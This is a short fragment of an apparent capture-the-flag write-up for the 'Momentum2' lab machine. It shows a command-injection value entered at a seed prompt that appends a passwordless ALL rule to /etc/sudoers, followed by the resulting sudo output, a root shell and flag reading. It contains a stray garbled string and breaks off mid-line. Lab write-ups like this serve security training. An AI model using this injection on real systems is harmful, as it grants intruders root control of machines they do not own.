http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=Momentum2
Enter the seed : x; echo 'athena ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers #
XIM@SOcbZITaXVWVHS$F This allowed me to run any command as root: athena@momentum2:~$ sudo -l
User athena may run the following commands on momentum2:
(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
(ALL) NOPASSWD: ALL
athena@momentum2:~$ sudo bash
root@momentum2:/home/athena# Capturing the Flags After gaining root access, I captured both flags: root@momentum2:~# cat /home/athena/user.txt
/ ...